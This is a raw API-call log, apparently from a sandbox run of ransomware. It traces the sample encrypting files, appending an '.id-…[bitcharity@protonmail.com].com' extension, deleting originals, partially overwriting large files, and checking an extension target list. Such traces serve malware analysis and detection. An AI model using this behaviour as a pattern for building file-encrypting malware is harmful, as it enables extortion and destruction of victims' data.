[0139.309] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.309] GetLastError () returned 0x0 [0139.309] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x17758, lpOverlapped=0x0) returned 1 [0139.434] WriteFile (in: hFile=0x103c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x17760, lpOverlapped=0x0) returned 1 [0139.436] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.437] WriteFile (in: hFile=0x103c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf4, lpOverlapped=0x0) returned 1 [0139.437] SetEndOfFile (hFile=0x103c) returned 1 [0139.437] CloseHandle (hObject=0x103c) returned 1 [0139.445] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.445] SetEndOfFile (hFile=0x1038) returned 1 [0139.447] CloseHandle (hObject=0x1038) returned 1 [0139.447] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0139.447] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0139.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.448] lstrlenW (lpString=".doc") returned 4 [0139.448] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0139.448] lstrlenW (lpString=".docx") returned 5 [0139.448] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0139.449] lstrlenW (lpString=".pdf") returned 4 [0139.449] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0139.449] lstrlenW (lpString=".xls") returned 4 [0139.449] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0139.449] lstrlenW (lpString=".xlsx") returned 5 [0139.449] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0139.449] lstrlenW (lpString=".ppt") returned 4 [0139.449] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0139.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.449] lstrlenW (lpString=".zip") returned 4 [0139.449] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0139.449] lstrlenW (lpString=".rar") returned 4 [0139.449] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0139.449] lstrlenW (lpString=".bz2") returned 4 [0139.449] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0139.449] lstrlenW (lpString=".7z") returned 3 [0139.449] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0139.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.449] lstrlenW (lpString=".dbf") returned 4 [0139.449] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0139.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.449] lstrlenW (lpString=".1cd") returned 4 [0139.449] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0139.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.450] lstrlenW (lpString=".jpg") returned 4 [0139.450] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0139.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.450] lstrlenW (lpString=".doc") returned 4 [0139.450] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0139.450] lstrlenW (lpString=".docx") returned 5 [0139.450] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0139.450] lstrlenW (lpString=".pdf") returned 4 [0139.450] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0139.450] lstrlenW (lpString=".xls") returned 4 [0139.450] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0139.450] lstrlenW (lpString=".xlsx") returned 5 [0139.450] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0139.450] lstrlenW (lpString=".ppt") returned 4 [0139.450] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0139.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.450] lstrlenW (lpString=".zip") returned 4 [0139.450] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0139.450] lstrlenW (lpString=".rar") returned 4 [0139.450] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0139.450] lstrlenW (lpString=".bz2") returned 4 [0139.450] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0139.451] lstrlenW (lpString=".7z") returned 3 [0139.451] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0139.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.451] lstrlenW (lpString=".dbf") returned 4 [0139.451] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0139.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.451] lstrlenW (lpString=".1cd") returned 4 [0139.451] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0139.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0139.451] lstrlenW (lpString=".jpg") returned 4 [0139.451] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0139.451] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0139.451] lstrlenW (lpString="sqmapi.dll") returned 10 [0139.451] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0139.452] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=144416) returned 1 [0139.452] CloseHandle (hObject=0x1038) returned 1 [0139.452] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0139.452] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.452] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0139.452] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.452] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.452] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.453] GetLastError () returned 0x0 [0139.453] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x23420, lpOverlapped=0x0) returned 1 [0139.591] WriteFile (in: hFile=0x103c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x23430, lpOverlapped=0x0) returned 1 [0139.595] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.595] WriteFile (in: hFile=0x103c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xe8, lpOverlapped=0x0) returned 1 [0139.595] SetEndOfFile (hFile=0x103c) returned 1 [0139.596] CloseHandle (hObject=0x103c) returned 1 [0139.610] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.610] SetEndOfFile (hFile=0x1038) returned 1 [0139.612] CloseHandle (hObject=0x1038) returned 1 [0139.612] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0139.612] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0139.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.613] lstrlenW (lpString=".doc") returned 4 [0139.613] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.613] lstrlenW (lpString=".docx") returned 5 [0139.613] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0139.613] lstrlenW (lpString=".pdf") returned 4 [0139.613] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.613] lstrlenW (lpString=".xls") returned 4 [0139.613] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.613] lstrlenW (lpString=".xlsx") returned 5 [0139.613] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0139.613] lstrlenW (lpString=".ppt") returned 4 [0139.613] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.613] lstrlenW (lpString=".zip") returned 4 [0139.613] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.613] lstrlenW (lpString=".rar") returned 4 [0139.613] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.613] lstrlenW (lpString=".bz2") returned 4 [0139.613] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.614] lstrlenW (lpString=".7z") returned 3 [0139.614] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.614] lstrlenW (lpString=".dbf") returned 4 [0139.614] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.614] lstrlenW (lpString=".1cd") returned 4 [0139.614] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.614] lstrlenW (lpString=".jpg") returned 4 [0139.614] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.614] lstrlenW (lpString=".doc") returned 4 [0139.614] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.614] lstrlenW (lpString=".docx") returned 5 [0139.614] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0139.614] lstrlenW (lpString=".pdf") returned 4 [0139.614] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.614] lstrlenW (lpString=".xls") returned 4 [0139.614] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.614] lstrlenW (lpString=".xlsx") returned 5 [0139.614] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0139.614] lstrlenW (lpString=".ppt") returned 4 [0139.614] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.614] lstrlenW (lpString=".zip") returned 4 [0139.615] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.615] lstrlenW (lpString=".rar") returned 4 [0139.615] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.615] lstrlenW (lpString=".bz2") returned 4 [0139.615] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.615] lstrlenW (lpString=".7z") returned 3 [0139.615] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.615] lstrlenW (lpString=".dbf") returned 4 [0139.615] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.615] lstrlenW (lpString=".1cd") returned 4 [0139.615] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0139.615] lstrlenW (lpString=".jpg") returned 4 [0139.615] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.615] lstrcmpiW (lpString1=".msu", lpString2=".com") returned 1 [0139.615] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0139.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0139.616] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=5091790) returned 1 [0139.616] CloseHandle (hObject=0x1038) returned 1 [0139.616] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0139.616] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.616] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0139.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0139.617] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc64 | out: lpNewFilePointer=0x0) returned 1 [0139.617] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc24 | out: lpNewFilePointer=0x0) returned 1 [0139.617] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b0fc30, lpOverlapped=0x0 | out: lpBuffer=0x36a8058*, lpNumberOfBytesRead=0x2b0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0139.908] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc24 | out: lpNewFilePointer=0x0) returned 1 [0139.908] ReadFile (in: hFile=0x1038, lpBuffer=0x36e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b0fc30, lpOverlapped=0x0 | out: lpBuffer=0x36e8058*, lpNumberOfBytesRead=0x2b0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0140.096] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.096] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc24 | out: lpNewFilePointer=0x0) returned 1 [0140.096] ReadFile (in: hFile=0x1038, lpBuffer=0x3728058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3728058*, lpNumberOfBytesRead=0x2b0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0140.358] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.359] WriteFile (in: hFile=0x1038, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2b0fca8, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0140.419] SetEndOfFile (hFile=0x1038) returned 1 [0140.419] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3e780e0 [0140.419] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.419] WriteFile (in: hFile=0x1038, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2b0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.422] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.422] WriteFile (in: hFile=0x1038, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2b0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.425] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.425] WriteFile (in: hFile=0x1038, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2b0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e780e0 | out: hHeap=0x5a0000) returned 1 [0140.430] CloseHandle (hObject=0x1038) returned 1 [0141.329] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0141.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.329] lstrlenW (lpString=".doc") returned 4 [0141.329] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.329] lstrlenW (lpString=".docx") returned 5 [0141.329] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.329] lstrlenW (lpString=".pdf") returned 4 [0141.332] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.332] lstrlenW (lpString=".xls") returned 4 [0141.332] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.332] lstrlenW (lpString=".xlsx") returned 5 [0141.332] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.332] lstrlenW (lpString=".ppt") returned 4 [0141.332] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.332] lstrlenW (lpString=".zip") returned 4 [0141.332] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.332] lstrlenW (lpString=".rar") returned 4 [0141.332] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.332] lstrlenW (lpString=".bz2") returned 4 [0141.332] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.332] lstrlenW (lpString=".7z") returned 3 [0141.332] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.332] lstrlenW (lpString=".dbf") returned 4 [0141.332] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.332] lstrlenW (lpString=".1cd") returned 4 [0141.332] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.332] lstrlenW (lpString=".jpg") returned 4 [0141.332] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.333] lstrlenW (lpString=".doc") returned 4 [0141.333] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.333] lstrlenW (lpString=".docx") returned 5 [0141.333] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.333] lstrlenW (lpString=".pdf") returned 4 [0141.333] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.333] lstrlenW (lpString=".xls") returned 4 [0141.333] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.333] lstrlenW (lpString=".xlsx") returned 5 [0141.333] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.333] lstrlenW (lpString=".ppt") returned 4 [0141.333] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.333] lstrlenW (lpString=".zip") returned 4 [0141.333] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.333] lstrlenW (lpString=".rar") returned 4 [0141.333] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.333] lstrlenW (lpString=".bz2") returned 4 [0141.333] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.333] lstrlenW (lpString=".7z") returned 3 [0141.333] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.333] lstrlenW (lpString=".dbf") returned 4 [0141.333] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.333] lstrlenW (lpString=".1cd") returned 4 [0141.334] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0141.334] lstrlenW (lpString=".jpg") returned 4 [0141.334] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.335] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0141.335] lstrlenW (lpString="bootspaces.dll") returned 14 [0141.335] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.491] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=95648) returned 1 [0142.491] CloseHandle (hObject=0x1038) returned 1 [0142.491] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0142.491] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.491] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.491] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.491] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.491] lstrlenW (lpString=".doc") returned 4 [0142.491] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0142.491] lstrlenW (lpString=".docx") returned 5 [0142.491] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0142.491] lstrlenW (lpString=".pdf") returned 4 [0142.491] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0142.491] lstrlenW (lpString=".xls") returned 4 [0142.491] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0142.491] lstrlenW (lpString=".xlsx") returned 5 [0142.492] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0142.492] lstrlenW (lpString=".ppt") returned 4 [0142.492] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0142.492] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0142.492] lstrlenW (lpString=".zip") returned 4 [0142.492] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0142.492] lstrlenW (lpString=".rar") returned 4 [0142.492] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 